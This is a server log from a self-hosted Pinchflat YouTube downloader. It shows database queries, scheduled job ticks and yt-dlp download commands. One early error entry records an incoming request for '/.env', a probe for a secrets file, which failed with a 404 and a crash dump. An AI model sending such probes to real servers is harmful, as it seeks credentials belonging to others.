db=0.1ms idle=1449.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:45.847 [debug] QUERY OK source="settings" db=0.1ms idle=1450.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:42:45.848 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:42:45.848 [error] #PID<0.25257.0> running PinchflatWeb.Endpoint (connection #PID<0.25256.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.25256.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 60908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.25257.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "identity"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKHtmCOBfiGvljEAC3aB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.25256.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 60908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.25256.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 60908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.25257.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "identity"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forw (truncated) 08:42:48.502 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.349 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:18.503 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:48.504 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.350 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:18.506 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:48.508 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.351 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:18.509 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:48.510 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.352 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:18.512 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:48.513 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.353 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:18.515 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:48.516 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.354 [info] {"source":"oban","duration":104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:18.517 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:48.518 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.355 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:18.519 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:48.521 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.356 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:18.521 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:48.523 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.357 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:18.524 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:48.525 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.358 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:18.527 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:48.529 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.359 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:18.531 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:48.532 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.360 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:18.534 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:48.535 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.361 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:18.536 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:48.537 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.362 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:18.538 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:48.540 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.363 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:18.541 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:48.543 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.364 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:18.545 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:48.546 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.365 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:18.547 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:48.548 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.366 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:18.550 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:48.551 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.367 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:18.553 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:48.555 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.368 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:18.556 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:48.558 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.369 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:18.560 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:48.560 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.370 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:18.562 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:48.563 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.371 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:18.564 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:48.564 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.372 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:18.566 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:48.568 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.373 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:18.569 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:48.570 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.374 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:18.571 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:48.572 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.375 [info] {"source":"oban","duration":290,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:18.573 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:48.574 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.376 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:18.575 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:44.874 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774962644874735420,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:10:44.875 [debug] QUERY OK source="media_items" db=0.6ms idle=477.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 09:10:44.875 [info] User scripts lifecyle file either not present or is empty. Skipping. 09:10:44.876 [debug] QUERY OK source="sources" db=0.5ms idle=478.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:10:44.876 [debug] QUERY OK source="media_profiles" db=0.1ms idle=479.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:10:44.877 [debug] QUERY OK source="media_items" db=0.5ms idle=9.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 09:10:44.878 [debug] QUERY OK source="media_metadata" db=0.2ms idle=3.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 09:10:44.878 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:10:44.879 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:44.879 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:44.879 [debug] Running yt-dlp command for action: get_downloadable_status 09:10:44.880 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:44.880 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:44.880 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:44.880 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/ef/ffeffe3c0e84c668a760a0b35f083c0f497e0e33b68585f3e7652ad7a3ea4847.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:10:48.576 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:48.940 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/ef/ffeffe3c0e84c668a760a0b35f083c0f497e0e33b68585f3e7652ad7a3ea4847.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 09:10:48.940 [debug] Running yt-dlp command for action: download 09:10:48.941 [debug] QUERY OK source="settings" db=0.1ms idle=543.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:48.941 [debug] QUERY OK source="settings" db=0.0ms idle=543.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:48.941 [debug] QUERY OK source="settings" db=0.1ms idle=543.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:48.941 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/4d/874d0e854c4778e4658b4497ef13d5c96eb5a26917bbbe295e6dd0c18ff06780.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:11:00.377 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:18.578 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:48.579 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:58.956 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774962718956321911,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:11:58.956 [debug] QUERY OK source="media_items" db=0.2ms idle=558.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 09:11:58.956 [info] User scripts lifecyle file either not present or is empty. Skipping. 09:11:58.957 [debug] QUERY OK source="sources" db=0.2ms idle=559.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 